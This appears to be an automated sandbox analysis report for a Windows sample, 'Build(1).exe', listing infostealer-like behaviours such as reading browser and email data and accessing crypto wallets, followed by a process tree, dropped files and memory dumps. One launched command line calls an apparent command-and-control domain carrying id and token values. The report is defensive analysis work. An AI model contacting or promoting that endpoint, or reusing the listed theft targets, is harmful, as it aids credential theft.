Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/04/2026, 19:58

General

  • Target
    Build(1).exe
  • Size 337KB
  • Sample260425-yqasrag15v
  • SHA256 a9091aba78af2e7fc794e8d0c9d17ed34347259fcf79395485135162989f6d83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Build(1).exe
    "C:\Users\Admin\AppData\Local\Temp\Build(1).exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" ulmudhw.shop/api/set_agent?id=363B4505BD24956701AEC7B30ADF174C&token=4e92ffe9c8490e49733684aeba8be2ca5f&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3764
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffea13bc728,0x7ffea13bc734,0x7ffea13bc740
        3⤵
          PID:3984
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1784,i,8346409020895547791,4653761213847406645,262144 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2020 /prefetch:2
          3⤵
            PID:4416
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,17626623711342459434,9725580181731224076,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2276 /prefetch:3
            3⤵
            • System Time Discovery
            PID:4720
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,8069298168106949573,12572216634604791829,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2428 /prefetch:8
            3⤵
              PID:5008
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,12382543847117217884,4979379240679589928,2097152 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3288 /prefetch:1
              3⤵
                PID:216
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,17628651054121903762,5972289495124906409,2097152 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3308 /prefetch:1
                3⤵
                  PID:4288
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4276,i,8677555226436205049,9614962836623373362,2097152 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4292 /prefetch:2
                  3⤵
                    PID:432
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4420,i,2829255254997525850,15768243081575087416,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4224 /prefetch:8
                    3⤵
                      PID:4744
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5408,i,12867027082134707130,8276834535991109860,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5412 /prefetch:8
                      3⤵
                        PID:2368
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:4220
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:436

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            Cookies

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                            • Size 20KB
                            • SHA256 b4309d551b472471cb13926d4e624c75c5940193e40b8cda3ef65f3c9bd16f93
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 f21e145988f583ffd44d045a32416d8843f68c98bdcb5cb4f197284cc5393dd7
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 89KB
                            • SHA256 1c44bfa93d960e470c371ffcf6ab99ec2442e37bd2140bf9e0c56834159ef8e3
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/4056-51-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-43-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-76-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-75-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-74-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-73-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-72-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-71-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-70-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-69-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-68-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-67-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-66-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-65-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-64-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-63-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-62-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-61-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-60-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-59-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-58-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-57-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-56-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-55-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-54-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-53-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-52-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-78-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-50-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-46-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-77-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-48-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-49-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-45-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-44-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-47-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-42-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-41-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-40-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-79-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-0-0x0000000001160000-0x00000000011C3000-memory.dmp

                            memory/4056-39-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-92-0x0000000001160000-0x00000000011C3000-memory.dmp

                            memory/4056-93-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-94-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-95-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-96-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-97-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-100-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-101-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-99-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-98-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-102-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-103-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-105-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-110-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-109-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-108-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-107-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-106-0x0000000000D50000-0x0000000000D51000-memory.dmp

                            memory/4056-104-0x0000000000D50000-0x0000000000D51000-memory.dmp